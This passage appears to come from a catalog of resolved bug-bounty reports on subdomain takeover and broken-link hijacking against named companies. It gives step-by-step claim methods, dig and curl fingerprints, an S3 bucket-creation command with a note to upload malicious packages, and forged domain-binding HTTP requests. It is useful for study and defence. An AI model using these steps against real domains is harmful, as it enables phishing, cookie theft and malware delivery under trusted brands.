A subdomain CNAME points to a third-party host (Webflow) where the target property was never provisioned or was deleted, so the SaaS returns 404/unclaimed. An attacker registers the same custom domain on that SaaS and serves content from the victim subdomain.
Method
- Enumerate subdomains and resolve CNAMEs (dig/subfinder + dnsx)
- Flag CNAMEs pointing to SaaS (webflow, zendesk, github.io, s3, heroku, etc.) that 404 / show 'not claimed'
- Register the property on that SaaS and add the victim domain as a custom domain to claim it
dig +short learnstormindia.khanacademy.org
# learnstormindia.khanacademy.org. IN CNAME proxy-ssl.webflow.com (404 -> claimable)
# then: create Webflow site -> add custom domain learnstormindia.khanacademy.org
Insight — The universal detection is: CNAME -> external provider + provider fingerprint of 'unclaimed'. Maintain a fingerprint list; also watch for stopped AWS instances / released Elastic IPs whose ELB/EC2 gets reassigned (see 191323). Escalate to phishing, cookie theft on parent domain, and OAuth/redirect abuse.
Real-world example
Subdomain takeover via dangling CNAME to unclaimed Zendesk (host mapping)
◆ Medium
Specimen #869605 · shopify · none · 5 votes · resolved
Program shopifySurface webChain dangling CNAME → claim SaaS host → host mapping + SSL → phisTag subdomain-takeover
Root cause
help.tictail.com had a CNAME to tictail.zendesk.com that was never registered on Zendesk; an attacker signs up a Zendesk trial, claims that host name, and adds the victim domain via Zendesk host mapping to serve arbitrary content.
Method
- dig the subdomain; find a CNAME to a SaaS host (zendesk, github.io, herokuapp, s3, etc.)
- On the SaaS provider, check whether the referenced name is claimable (Zendesk shows green/available)
- Register a trial, claim the name, then Settings > Account > Host mapping and add the victim subdomain
- Enable SSL under the SaaS security settings to serve HTTPS content on the victim domain
dig help.tictail.com CNAME
; help.tictail.com. -> tictail.zendesk.com (unclaimed)
# Zendesk: Settings > Account > Host mapping = help.tictail.com; enable SSL
Insight — Fingerprint dangling CNAMEs to provider error pages, then confirm claimability on the provider itself. Zendesk host mapping is a canonical takeover vector; the payoff is convincing phishing on a trusted brand subdomain.
Real-world example
Dangling CNAME to a deleted S3 website bucket
◆ Medium
Specimen #173412 · websummit · none · 5 votes · resolved
Program websummitSurface cloudTag subdomain-takeoverTag cloud-aws
Root cause
A subdomain (s3.websummit.net) kept a CNAME to an S3 website endpoint after the bucket was deleted; S3 returns NoSuchBucket, and the bucket name equals the host, so anyone can recreate the bucket and serve attacker content on the subdomain.
Method
- Enumerate subdomains and their CNAME targets
- Fetch the host; an S3 'NoSuchBucket' / BucketName == host response signals a claimable dangling bucket
- Create a bucket with that exact name in the referenced region and enable static website hosting
- Serve arbitrary content on the victim subdomain (phishing, cookie/CSP scope abuse)
# tell:
HTTP 404 NoSuchBucket
BucketName: s3.websummit.net
# claim: create S3 bucket named 's3.websummit.net' (matching region) + static website hosting
Insight — The reusable fingerprint is a fetch that returns the cloud provider's 'resource does not exist' error while DNS still points at it. For S3 the giveaway is NoSuchBucket with BucketName equal to the hostname — recreate that bucket to take over. Automate by resolving all subdomain CNAMEs and grepping responses for provider takeover signatures.
Real-world example
Dangling CNAME to ghs.google.com claimable via GSuite/Google Sites
◆ Medium
Specimen #205034 · informatica · none · 3 votes · resolved
Program informaticaSurface webTag subdomain-takeover
Root cause
A subdomain's CNAME still points to Google's ghs.google.com (Google-hosted services) after the service was abandoned, returning 404; an attacker can add that hostname to their own Google/GSuite account and serve content from it.
Method
- Enumerate subdomains and their CNAME targets; flag any pointing to ghs.google.com that return 404.
- In a Google/GSuite (Google Sites) account, add the dangling hostname as a custom domain.
- Complete Google's domain-mapping to host attacker-controlled content on the victim subdomain (full serving requires passing Google's ownership/verification step).
dig CNAME wave.informatica.com ; -> ghs.google.com (404)
Insight — ghs.google.com CNAMEs are a classic dangling-resource takeover fingerprint alongside the usual S3/GitHub/Heroku/Azure ones. Any CNAME to a third-party host that no longer serves the domain is a takeover candidate; enumerate CNAME targets and test claimability in the corresponding provider.
Real-world example
Abandoned-asset takeover: expired project domain and deleted social handle
◆ Medium
Specimen #538651 · ed · none · 16 votes · resolved
Program edSurface webTag subdomain-takeover
Root cause
Resources still referenced by the org - an expired project domain (securitytemplate.site) and a deleted Twitter handle (PenultimateIO) - are re-registrable by anyone.
Method
- Crawl READMEs/docs/tweets for referenced domains and social handles
- Check which domains have expired / stopped serving org content
- Check which social usernames the platform now shows as available; register/recreate them
Insight — Audit an org's documentation, tweets and repo links for external assets. Expired domains and deleted usernames are cheap takeovers that enable convincing phishing and supply-chain lures because the org's own content still links to them.
Real-world example
Dangling subdomain claimable on Piwik/Matomo Cloud
◆ Medium
Specimen #111078 · gratipay · awarded · 9 votes · resolved
Program gratipaySurface webTag subdomain-takeover
Root cause
A subdomain (gratipay.piwik.pro) pointed at Piwik/Matomo Cloud but was never provisioned there; the SaaS shows 'this subdomain is available', so the attacker registers it and controls the subdomain.
Method
- Browse the subdomain and see the provider's 'subdomain available / sign up to activate' message
- Sign up to the SaaS (Piwik Cloud)
- Claim the exact subdomain in your account
- Serve attacker content on the victim's subdomain
Insight — Any subdomain resolving to a third-party SaaS that returns a 'not configured / available / sign up' page is a takeover candidate. Enumerate CNAMEs to SaaS providers and fingerprint their unclaimed-tenant pages.
Real-world example
Broken-link hijacking: claim an abandoned GitHub org referenced in docs
◆ Medium
Specimen #1212853 · kubernetes · awarded · 3 votes · resolved
Program kubernetesSurface webTag subdomain-takeover
Root cause
Official documentation links to an external third-party resource (a GitHub org/repo) that no longer exists (404). An attacker registers the freed username/org and creates the referenced repo, so clicks from the trusted docs land on attacker-controlled content.
Method
- Crawl the target's pages/docs for external links; identify ones returning 404 (dead GitHub orgs, Twitter handles, S3 buckets, npm packages).
- For a dead GitHub link (e.g. .../DriveScale/...), register the now-available username 'DriveScale'.
- Create the referenced repo (e.g. k8s-plugins) so the original link path resolves.
- Now clicks from the trusted docs page redirect users to attacker content (malicious 'CSI driver'/software).
Insight — Broken-link hijacking turns a trusted site's outbound 404s into a phishing/malware-delivery channel. Enumerate outbound links and test which target namespaces (GitHub/GitLab orgs, social handles, package names, buckets) are unregistered and claimable.
Real-world example
Subdomain takeover via dangling SaaS CNAME (Uberflip)
◆ Low
Specimen #863551 · security · $500 · 95 votes · resolved
Program securitySurface webTag subdomain-takeover
Root cause
A subdomain CNAME still pointed at a SaaS provider (read.uberflip.com) whose hub was unclaimed, so the provider served an unconfigured-domain error and the domain could be claimed by adding it to any provider account.
Method
- Enumerate subdomains and their CNAMEs; flag ones pointing at third-party SaaS
- Visit the subdomain and read the provider's error ('Non-hub domain / URL does not provide a hub')
- Register/add the domain in a fresh account on that SaaS to claim it and serve content
dig +short resources.example.com # -> read.uberflip.com (dangling)
# 'Non-hub domain' error = unclaimed -> add domain in an Uberflip account to take over
Insight — Provider-specific error strings are the takeover fingerprint (each SaaS has one, e.g. Uberflip 'Non-hub domain'). Build/keep a fingerprint list, dig every subdomain's CNAME, and match errors against can-i-take-over-xyz.
Real-world example
GitLab Pages serves unverified custom domain for 7 days -> takeover of dangling CNAME
◆ Low
Specimen #2523654 · gitlab · awarded · 79 votes · resolved
Program gitlabSurface webTag subdomain-takeover
Root cause
GitLab Pages begins serving content for a custom domain BEFORE ownership is verified (grace period ~7 days). A domain still CNAME'd to *.gitlab.io but no longer owned by anyone on the platform can be re-added by an attacker's Pages project.
Method
- Find a domain CNAME'd to <instance>.gitlab.io that is dangling (project deleted / domain freed).
- Create a GitLab Pages project, add the target as a custom domain, disable 'Force HTTPS (requires valid certificates)', save.
- Content is served on the target domain during the unverified grace window.
# fingerprint
dig docs-dev.gitlab.com -> CNAME gitlab-com.gitlab.io -> A 35.185.44.232
# Deploy > Pages > add custom domain (target), uncheck Force HTTPS, Save
Insight — Platforms that serve custom domains before completing verification create a takeover window. Specifically for GitLab Pages, test dangling *.gitlab.io CNAMEs and abuse the pre-verification grace period; disabling Force-HTTPS avoids the cert-validation gate.
Real-world example
Broken-link / expired-domain hijack via public docs & source references
◆ Low
Specimen #2599840 · gitlab · awarded · 72 votes · resolved
Program gitlabSurface webTag subdomain-takeover
Root cause
Public documentation/source (handbook, repos, config files) references an external domain that has since expired and is freely registerable, so an attacker buys it and controls a link users/systems trust.
Method
- Crawl the target's public handbook, docs and source for external domain references.
- Check each referenced domain's WHOIS/availability for expired/unregistered ones.
- Register the expired domain to control the trusted link (host malicious content / capture traffic).
# e.g. handbook references https://gitxlab.com/.../roles.yml
# WHOIS shows gitxlab.com expired -> register it
Insight — Grep an org's public docs/repos for outbound domains and run them through availability/WHOIS. Expired domains referenced in docs or (worse) in build/config files are a cheap hijack and a supply-chain foothold.
Real-world example
Broken link hijacking of a company domain pointing to a non-existent Medium page
◆ Low
Specimen #2709660 · security · awarded · 63 votes · resolved
Program securitySurface webTag subdomain-takeover
Root cause
A company-owned domain/link redirects to a third-party page (Medium publication, security-page link) that returns 404/unclaimed; registering that resource on the third party lets an attacker control content served under the trusted name.
Method
- Recon owned domains/links (Wayback, whois, prior reports) that redirect off-site
- Find one resolving to a 404/unclaimed third-party resource (Medium publication, help link)
- Create that publication/account with the same slug on the third party
- Trusted link now serves attacker content -> phishing
# hackerone.engineering -> https://medium.com/hackerone-engineering (404) -> claim that Medium publication
Insight — Broken link hijacking = subdomain-takeover's cousin: instead of a dangling CNAME, it's any trusted link/redirect to an unclaimed third-party account. Crawl the target's own links, social handles, and doc references for 404s you can register.
Real-world example
Claiming a victim domain via SaaS domain-add param injection (Unbounce)
◆ Low
Specimen #217358 · security · awarded · 58 votes · resolved
Program securitySurface webTag subdomain-takeover
Root cause
A SaaS landing-page provider (Unbounce) attaches a customer-controlled hostname to a page from a request parameter without verifying the requester owns that hostname; injecting the victim's domain into the page-update request binds the victim subdomain to the attacker's page.
Method
- Sign up on the SaaS (Unbounce), create a page under any/default domain.
- Trigger the 'change URL / edit name' request and intercept it.
- Inject the victim hostname into the domain/url parameter (page[url]) and replay.
- The victim subdomain (which still CNAMEs to the SaaS) now serves the attacker's page.
POST /[account-id]/pages/[page-id]/url/ HTTP/1.1
Host: app.unbounce.com
X-CSRF-Token: <token>
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
utf8=%E2%9C%93&_method=put&authenticity_token=<t>&page%5Bdomain%5D=unbouncepages.com&page%5Bpath%5D=poc&page%5Burl%5D=info.TARGET.com/takeover
Insight — When a subdomain CNAMEs to a multi-tenant SaaS, look at the SaaS's own 'add custom domain' flow — the domain often comes from a request param with no ownership check, so param injection (or a new endpoint/param combo after a fix) claims the dangling name. Retest fixes: the same provider was re-exploited via a different endpoint+param combination.
Real-world example
Dangling A record -> EC2 IP re-registration takeover
◆ Low
Specimen #1295497 · shopify · awarded · 51 votes · resolved
Program shopifySurface cloudChain dangling A record -> EC2 IP takeover -> phishing / stoTag subdomain-takeoverTag cloud-aws
Root cause
turn.shopify.com kept an A record to a terminated EC2 instance's IP; by repeatedly launching EC2 instances an attacker reclaimed that public IP and served content on the trusted subdomain.
Method
- dig the subdomain and note it resolves to an A record (not CNAME) in an AWS range
- Launch EC2 instances until one is assigned that same public IP
- Serve content on the reclaimed IP under the victim subdomain
dig turn.shopify.com # -> A 54.90.1.144 (dangling), then re-acquire that Elastic/public IP via EC2
Insight — Subdomain takeover isn't only dangling CNAMEs: a dangling A record pointing at a cloud provider's IP pool is reclaimable by cycling instances for that IP. Check A records in AWS/GCP/Azure ranges, not just CNAMEs.
Real-world example
Subdomain takeover via CNAME to an unregistered TLD
◆ Low
Specimen #1312365 · affirm · awarded · 48 votes · resolved
Program affirmSurface webTag subdomain-takeover
Root cause
A subdomain's CNAME pointed to a domain whose top-level domain was not (yet) delegated in the root zone and was not a reserved internal TLD, so the target apex could be registered by anyone once the TLD went live/available.
Method
- Enumerate CNAMEs for the target's subdomains (dig)
- Note the CNAME target resolves NXDOMAIN
- Check the TLD against IANA's list and that it is not a reserved internal TLD (.test/.example/.invalid/.localhost)
- If registrable, buy the domain and serve content on the target subdomain
dig sub.target.com
;; ANSWER: sub.target.com CNAME host.someunregisteredtld.
# verify TLD registrability:
curl http://data.iana.org/TLD/tlds-alpha-by-domain.txt | grep -i SOMETLD
Insight — Dangling-CNAME hunting isn't just SaaS providers: check whether the CNAME's TLD itself is delegated. Human-error typos and internal-style names pointing to non-existent TLDs are claimable.
Real-world example
Register unregistered domain referenced in app source
◆ Low
Specimen #1253926 · basecamp · awarded · 47 votes · resolved
Program basecampSurface mobile-androidTag subdomain-takeover
Root cause
A mobile app hardcodes/opens a domain (via an intent) that is not registered; anyone can register it and receive users the app routes there, enabling phishing under an apparently-official domain.
Method
- Decompile the APK and grep source/strings for domains, URLs, and intent targets
- Resolve each domain; flag any returning NXDOMAIN / 'domain does not exist'
- Check registrar availability and register the free domain to control where the app sends users
# In Basecamp3 APK source: 3737signals.com passed to an intent to open in browser
$ dig 3737signals.com # NXDOMAIN -> register it
Insight — Static-analysis of mobile apps should extract every referenced domain/URL and check registration status; dangling references to unregistered domains are claimable and become trusted phishing landing pages.
Real-world example
Broken-link hijacking of dangling third-party resource
◆ Low
Specimen #2418210 · doppler · awarded · 47 votes · resolved
Program dopplerSurface webTag subdomain-takeover
Root cause
A trusted docs page linked to a Calendly URL that returned 404 (the account/slug was unclaimed); anyone could register that Calendly slug and serve attacker content from a link users trust because it sits on the vendor's documentation.
Method
- Crawl the target's site/docs for outbound links to third-party platforms (Calendly, social, S3, etc.)
- Find one returning 404 / unregistered
- Register the account/slug to claim it
- Serve phishing/impersonation content from the now-trusted link
# docs page -> https://calendly.com/doppler-ryan/onsite-install (404)
# attacker registers calendly.com/doppler-ryan -> controls the linked destination
Insight — Broken-link hijacking is subdomain-takeover's cousin: any dangling reference to a claimable third-party namespace (Calendly, Medium, GitHub, S3 buckets, social handles) linked from a trusted page is hijackable for phishing. Enumerate outbound links and check for 404/unregistered targets.
Real-world example
Subdomain takeover via dangling CNAME to an unclaimed ghost.io publication
◆ Low
Specimen #368119 · udemy · awarded · 33 votes · resolved
Program udemySurface webTag subdomain-takeover
Root cause
A subdomain CNAME points to a ghost.io publication that no longer exists; registering a Ghost publication with the matching name and configuring the custom domain lets the attacker serve content (with valid TLS) on the victim subdomain.
Method
- Find engineering.udemy.com CNAME -> udemy-engineering-blog.ghost.io returning 'site does not exist'
- Register a Ghost Pro account and create publication named 'udemy-engineering-blog'
- Configure the custom domain; the pre-existing CNAME passes validation
- Serve arbitrary content over https://engineering.udemy.com with valid cert
host engineering.udemy.com # -> alias udemy-engineering-blog.ghost.io (dangling)
Insight — Enumerate CNAMEs to third-party SaaS (ghost.io, github.io, herokuapp, s3, azurewebsites) and look for 'not found/no such app' fingerprints, then claim the resource. Valid TLS + arbitrary content enables cookie theft and phishing.
Real-world example
Detect a dangling cloud subdomain via mismatched TLS certificate
◆ Low
Specimen #1112679 · security · USD 500 · 29 votes · resolved
Program securitySurface cloudTag subdomain-takeover
Root cause
A subdomain's A record still points at a cloud IP the org no longer controls; the IP now serves another tenant's service, evidenced by a TLS cert for an unrelated organization - a takeover risk if the IP is later released.
Method
- Resolve the subdomain: dig <sub> +short
- curl -v https://<sub> and inspect the server certificate
- If the cert CN/O belongs to a different organization, the underlying IP is no longer yours -> dangling / potential takeover
dig vpn.inverselink.com +short # 54.202.130.246
curl -v https://vpn.inverselink.com 2>&1 | grep -A2 'Server certificate'
# subject: O=Workday Inc.; CN=*.workdaysuv.com <- foreign cert = dangling
Insight — A cheap dangling-record heuristic during recon: any subdomain whose live TLS cert belongs to a different org is pointing at infrastructure you don't own - flag for takeover as soon as that IP frees up.
Real-world example
Claim an unclaimed S3 bucket referenced as a package/asset source
◆ Low
Specimen #1397826 · cosmos · awarded · 27 votes · resolved
Program cosmosSurface cloudTag subdomain-takeover
Root cause
An official S3 bucket used as a package/download source in code was deleted/never-claimed; anyone can register the globally-unique bucket name in the same region and serve arbitrary content to every consumer.
Method
- Find code/docs referencing a bucket URL (e.g. bucket.s3-website-<region>.amazonaws.com) that 404s / NoSuchBucket
- Create an S3 bucket with the exact same name in the same region
- Enable static website hosting and upload attacker content
- All consumers pulling packages from that URL now fetch attacker files
aws s3api create-bucket --bucket tendermint-packages --region us-west-1 \
--create-bucket-configuration LocationConstraint=us-west-1
# then enable static website hosting and upload malicious packages
Insight — Grep target code/CI for hardcoded S3/GCS bucket URLs and test each for NoSuchBucket - dangling buckets referenced as install sources are a direct supply-chain takeover, amplified when many downstream projects reuse the same URL.
Real-world example
Subdomain takeover via dangling DNS to unclaimed SaaS resource
◆ Low
Specimen #416474 · shopify · none · 27 votes · resolved
Program shopifySurface webTag subdomain-takeoverTag cloud-aws
Root cause
A DNS record (CNAME/alias) points at a third-party SaaS resource that was never claimed or was later abandoned. The attacker registers/claims that resource in their own account and serves arbitrary content on the victim's subdomain.
Method
- Enumerate subdomains and resolve their CNAMEs to SaaS providers
- Fingerprint an unclaimed target (provider 404 / 'no such bucket' / 'domain not configured')
- Claim the domain in your own account on that provider
- Serve content on the victim subdomain to prove takeover
# example fingerprints
blog.exchangemarketplace.com CNAME -> Shopify (domain not added to any store) -> add to attacker store
blog.gnipcentral.com -> unclaimed CloudFront/S3 bucket -> redirects to attacker S3 site
Insight — Resolve every subdomain's CNAME to its SaaS provider and look for the provider's 'unclaimed/not-configured' fingerprint (Shopify, S3/CloudFront, Heroku, GitHub Pages, Azure, mozaws.net-style AWS aliases). If present, claim it. Same primitive across providers; only the claim flow differs.
Real-world example
Subdomain takeover via dangling CNAME to Feed.Press
◆ Low
Specimen #195350 · slack · USD 100 · 27 votes · resolved
Program slackSurface webTag subdomain-takeover
Root cause
A subdomain CNAME'd to a third-party SaaS (Feed.Press) that no longer had the domain claimed; anyone could register it there and serve arbitrary content.
Method
- dig the subdomain, note the CNAME to a SaaS provider
- Register the custom domain in that provider under your own account
- Serve content (PoC: 301 redirect) once it propagates
dig podcasts.slack-core.com -> CNAME redirect.feedpress.me (then claim custom domain on Feed.Press)
Insight — Enumerate all subdomains, resolve CNAMEs, flag any pointing to unclaimed third-party services (fingerprint the 'domain not found' page). Even non-root subdomains enable cookie/phishing/XSS-scoped attacks.
Real-world example
CSP allowlist entry is a claimable third-party host -> CSP bypass
◆ Low
Specimen #716677 · gitlab · USD 200 · 25 votes · resolved
Program gitlabSurface webChain claim allowlisted Fastly host -> host attacker JS on trusTag subdomain-takeoverTag cors
Root cause
The CSP script-src/connect-src allowlists a shared-CDN hostname (gl-canary.freetls.fastly.net) that any Fastly customer can claim by creating a service with the matching domain, so an attacker can host script on an allowlisted origin and defeat the CSP.
Method
- Read the target's Content-Security-Policy header and list allowlisted third-party hosts
- Check whether any is a shared-CDN/SaaS name registerable by any account (Fastly *.freetls.fastly.net, etc.)
- Register a service claiming that hostname on the provider
- Serve script there; combine with an on-site HTML/XSS sink to execute under the victim's CSP
# from CSP: script-src ... https://gl-canary.freetls.fastly.net
# Fastly: create service with domain gl-canary.global.ssl.fastly.net
# -> auto-provisions gl-canary.freetls.fastly.net (allowlisted) to serve your JS
Insight — Audit CSP allowlists for hosts on multi-tenant CDNs/SaaS where the subdomain is user-assignable; claiming one turns the CSP allowlist into an XSS enabler. The same claimable-host idea also bypasses domain-based CORS/whitelists.
Real-world example
Dangling CNAME to unclaimed external SaaS -> claim and control subdomain
◆ Low
Specimen #953719 · acronis · awarded · 19 votes · resolved
Program acronisSurface webChain dangling CNAME -> SaaS claim -> content control -> Tag subdomain-takeover
Root cause
A subdomain's CNAME still points to a third-party SaaS host (Webflow/UserVoice/GitHub Pages/UptimeRobot/etc.) for a resource that was never claimed or has been released; anyone who registers that resource on the SaaS with the same custom domain controls all content served on the subdomain.
Method
- Enumerate CNAMEs; flag subdomains resolving to a SaaS that shows a generic 404/'no such site' fingerprint
- Create an account on that SaaS (upgrade to a paid tier if custom domains require it)
- Add the target subdomain as the custom domain and publish a PoC page
- Optionally issue a Let's Encrypt cert (domain-validated) since you now control the content
# Webflow example
1. Create Webflow account, upgrade to a paid plan
2. Create a site -> Project Settings > Hosting
3. Add custom domain: www.jet.TARGET.com
4. Publish; the dangling CNAME now serves your content
Insight — After takeover, remember the real prize is trust: cookies scoped to the parent domain, stored XSS in the parent origin, OAuth redirect allow-listing, and easy DV TLS. Prioritize subdomains that share cookies or are OAuth redirect targets.
Real-world example
Email subdomain takeover via inherited MX on unclaimed CNAME
◆ Low
Specimen #272357 · bitwarden · none · 17 votes · resolved
Program bitwardenSurface otherTag subdomain-takeover
Root cause
Mailgun setup leaves email.email.<domain> as a CNAME to mailgun.org but never registered as its own Mailgun domain; a CNAME inherits the target's MX records, so anyone can add that hostname to their own Mailgun account and receive its mail.
Method
- Enumerate mail-related subdomains; find one CNAME'd to mailgun.org (or similar ESP)
- Add that exact hostname (e.g. email.email.target.com) to your own Mailgun account
- Because the dangling CNAME inherits Mailgun MX and was never claimed, verification succeeds and you control its inbound mail
email.email.target.com CNAME mailgun.org # unclaimed -> add to your own ESP account
Insight — Dangling/partial ESP setups are takeover-able: a CNAME inherits the pointee's MX, so a sub.domain not separately registered on the ESP can be seized. Check every mail CNAME (mailgun/sendgrid/etc.) for whether the exact host is actually claimed.
Real-world example
CloudFront subdomain takeover via unclaimed CNAME
◆ Low
Specimen #317005 · gsa_bbp · awarded · 17 votes · resolved
Program gsa_bbpSurface cloudTag subdomain-takeoverTag cloud-aws
Root cause
A DNS CNAME (18f.domains.api.data.gov) still pointed at a CloudFront distribution hostname that was no longer claimed; because CloudFront (at the time) did not verify domain ownership, an attacker could register a new distribution and assign the dangling hostname as an alternate CNAME.
Method
- Enumerate subdomains and resolve CNAMEs; look for CNAMEs to cloud CDN/service hostnames returning a provider error page
- Confirm the CloudFront/CDN endpoint is unclaimed (error like CloudFront 'Bad Request'/no distribution)
- Create your own CloudFront distribution and add the victim hostname as an alternate domain (CNAME)
- Point it at your origin — you now serve content on the victim subdomain
nslookup 18f.domains.api.data.gov
# -> canonical name = dn9rrjaiux2m0.cloudfront.net (unclaimed distribution)
Insight — Any CNAME to a third-party service (CDN, ticketing, pages host) that stops being provisioned but whose DNS record survives is takeover-able. Grep DNS for CNAMEs to *.cloudfront.net / *.s3 / SaaS hosts and fingerprint the provider's 'no such bucket/distribution' error.
Real-world example
Broken-link hijacking (unregistered domain / claimable handle)
◆ Low
Specimen #1434179 · kubernetes · 100 · 17 votes · resolved
Program kubernetesSurface webTag subdomain-takeover
Root cause
Trusted documentation/websites link to third-party resources that no longer exist (expired domain, deleted GitHub repo/username, abandoned social handle); an attacker registers the dangling target and inherits the trust of the linking site.
Method
- Crawl the target's docs/site/footers for outbound links (social icons, driver/SDK links, references).
- Find links returning 404 / NXDOMAIN or pointing to an unregistered domain or unclaimed username.
- Register the domain / claim the handle / create the repo and host attacker content; users following the trusted link land on it.
# find broken links then check availability
# e.g. docs link -> https://contiv.io/ (NXDOMAIN) -> register it
# social/github: claim the unused @handle or username to serve malicious repo/SDK
Insight — Broken-link hijacking turns a trusted site's reputation into malware/phishing distribution (users install the 'official' SDK/driver). Systematically diff outbound links against DNS/registration status; social handles and GitHub usernames are as claimable as domains.
Real-world example
Subdomain takeover via dangling CNAME/DNS to unclaimed SaaS (Webflow/Azure/UptimeRobot/Kajabi/S3)
◆ Low
Specimen #952166 · acronis · awarded · 15 votes · resolved
Program acronisSurface webChain dangling DNS -> claim provider resource -> full contenTag subdomain-takeoverTag cloud-aws
Root cause
A subdomain's DNS record (CNAME or A/ALIAS) still points to a third-party hosting/PaaS resource that has been released or was never claimed. The provider serves its default 404/'not found' fingerprint, so any attacker who registers that resource on the provider gains full control of content served on the victim subdomain.
Method
- Resolve the subdomain and read the CNAME/target (e.g. proxy-ssl.webflow.com, *.cloudapp.azure.com, uptimerobot, kajabi, deleted S3 bucket)
- Confirm the provider returns its unclaimed-resource fingerprint (default 404 / 'no such bucket' / 'domain not configured')
- Register that exact hostname/site on the provider (may require a paid plan for custom domains) and add the victim subdomain as a custom domain
- Publish PoC content (HTML comment) proving control
dig +short takeover-target.example.com CNAME
# -> proxy-ssl.webflow.com (or araz-sp.centralus.cloudapp.azure.com, etc.)
curl -s https://takeover-target.example.com | grep -i 'not configured\|no such bucket\|404'
# then in the SaaS portal: Project Settings > Hosting > add custom domain = takeover-target.example.com
Insight — Enumerate all subdomains, resolve CNAMEs, and flag any pointing at a SaaS/PaaS host that returns an unclaimed fingerprint. Provider fingerprints (Webflow proxy-ssl, *.cloudapp.azure.com, uptimerobot, kajabi, deleted-bucket S3) are the tell. Impact: phishing, cookie theft, CSP/CORS bypass, and easy DV TLS issuance for the hijacked host.
Real-world example
Broken-link hijacking of an unregistered doc reference
◆ Low
Specimen #1331361 · kubernetes · awarded · 12 votes · resolved
Program kubernetesSurface webTag subdomain-takeover
Root cause
Official documentation links to an external third-party resource (a Confluence/Atlassian space) that is no longer registered; an attacker can claim the dangling namespace and host attacker-controlled content under the trust of the docs.
Method
- Crawl the target's docs/pages for outbound links to third-party SaaS (Atlassian, Bitbucket, S3, etc.)
- Check each link for a claimable/unregistered namespace (404 / 'space does not exist')
- Register the namespace on that provider
- Host PoC content to prove the takeover
# docs link -> https://sysdigdocs.atlassian.net/wiki/spaces/Platform),/overview (dead)
# claim -> https://sysdigdocs.atlassian.net/wiki/spaces/TAKEOVER/overview
Insight — Broken-link hijacking generalizes subdomain takeover to any externally-referenced, claimable resource (Confluence spaces, GitHub orgs, npm/pypi packages, social handles) linked from trusted pages. Crawl outbound links and test claimability; impact = phishing/malware under the victim's brand.
Real-world example
Dangling CNAME to ghs.google.com -> claim G Suite on subdomain
◆ Low
Specimen #191179 · starbucks · none · 11 votes · resolved
Program starbucksSurface webChain dangling CNAME -> third-party account claimTag subdomain-takeover
Root cause
A subdomain's CNAME pointed to ghs.google.com (Google hosted services) with no active Google tenant, letting an attacker register/claim a G Suite account under that subdomain (full takeover blocked only by Google's domain-verification step).
Method
- Enumerate CNAMEs; flag any pointing to ghs.google.com / ghs.googlehosted.com with no live service.
- Attempt to add the subdomain to a Google Workspace/G Suite tenant.
- Claim the associated Google service account for the subdomain (verification gates full mail/drive control).
dig CNAME digital.starbucks.com
# digital.starbucks.com. CNAME ghs.google.com. (dangling)
Insight — Dangling CNAMEs to third-party SaaS (ghs.google.com, *.github.io, *.herokudns, *.azurewebsites, S3, Shopify) are takeover candidates; even when full takeover needs domain verification, claiming the tenant can deny the org the service and enable phishing.
Real-world example
Subdomain takeover via domain-connect API with no ownership check
◆ Low
Specimen #1767771 · hostinger · awarded · 9 votes · resolved
Program hostingerSurface apiTag subdomain-takeover
Root cause
A 'connect custom domain' API endpoint binds an arbitrary hostname to the attacker's site without verifying the requester controls that hostname, letting an attacker claim any subdomain of the platform's shared zone.
Method
- Create and publish a site on the platform to get a valid session and siteId
- Call the connect-domain endpoint with a target subdomain you do not own
- Platform serves your content on that subdomain
POST /v3/publish/connect-domain-hostinger HTTP/2
Host: builder-backend.hostinger.com
Cookie: <your builder session>
Content-Type: application/json
{"domain":"victim.zyrosite.com","siteId":"YOUR_SITE_ID"}
Insight — Any 'add/connect custom domain' feature on a multi-tenant platform is a takeover candidate: try connecting a domain/subdomain you don't own. Missing DNS/TXT ownership verification = you control content on the shared apex's subdomains.
Real-world example
Dangling CNAME to Google Hosted Services (ghs) takeover
◆ Low
Specimen #1354066 · 8x8-bounty · awarded · 9 votes · resolved
Program 8x8-bountySurface webTag subdomain-takeover
Root cause
A subdomain (docs.*) points via CNAME to Google Hosted Services (ghs.googlehosted.com) for an unclaimed/abandoned Google Workspace mapping; returns 404, and the domain can be re-claimed by adding it to an attacker's Workspace.
Method
- Enumerate subdomains and their CNAMEs; find one -> ghs.googlehosted.com returning 404/unconfigured
- Add the domain in Google Workspace/Sites and complete the verification/claim
- Serve attacker content on the trusted subdomain
docs.TARGET CNAME ghs.googlehosted.com (404 -> claimable)
Insight — CNAMEs to third-party hosting (ghs.googlehosted.com, GitHub Pages, S3, Azure, Heroku, Fastly, Shopify) that return a takeover fingerprint are claimable. Maintain a fingerprint list; ghs 404 = re-add domain in Google Workspace to take over.
Real-world example
Dangling CNAME to unclaimed SaaS tenant (Odoo / S3)
◆ Low
Specimen #1540252 · exness · awarded · 9 votes · resolved
Program exnessSurface cloudTag subdomain-takeoverTag cloud-aws
Root cause
A subdomain CNAMEs to a SaaS/cloud provider tenant that is no longer registered; anyone can claim that tenant name on the provider and serve content from the victim's subdomain.
Method
- Enumerate subdomains and resolve CNAMEs (host/dig)
- Spot a CNAME pointing to a provider tenant (e.g. exness-stg.odoo.com, an S3 bucket, etc.)
- Confirm the tenant/bucket is unclaimed (provider-specific error/NXDOMAIN or no-such-bucket)
- Register the tenant/bucket name on the provider to serve arbitrary content on the victim subdomain (phishing/cookie theft)
$ host odoo-staging.exness.io
odoo-staging.exness.io is an alias for exness-stg.odoo.com.
# exness-stg tenant unclaimed on odoo.com -> register it to take over the subdomain
Insight — For every subdomain, resolve the full CNAME chain and check whether the final SaaS/cloud target is still registered. Dangling CNAMEs to Odoo, S3, Heroku, GitHub Pages, Azure, etc. are claimable. Even 'staging' hosts give a trusted-origin phishing/cookie-scope foothold.
Real-world example
AWS ELB/ALB dangling-CNAME takeover by name reclaim
◆ Low
Specimen #1390782 · rocket_chat · none · 9 votes · resolved
Program rocket_chatSurface cloudTag subdomain-takeoverTag cloud-aws
Root cause
A subdomain CNAMEs to a deleted AWS Elastic Load Balancer DNS name; the ELB is gone (NXDOMAIN for its IPs). Recreating a load balancer with the same name in the same region can reclaim the auto-generated hostname prefix, capturing traffic to the victim subdomain.
Method
- Enumerate subdomains and resolve CNAMEs to *.elb.amazonaws.com
- Confirm the target ELB no longer resolves (NXDOMAIN)
- In the same AWS region, create an ALB using the name portion before the trailing dash/hash
- Iterate until the generated hostname matches the dangling CNAME target
traefik-livedemo.rocket.chat CNAME a0e7eaaaa82f611e9b1cc0e9ccd15f3e-557536140.us-west-2.elb.amazonaws.com
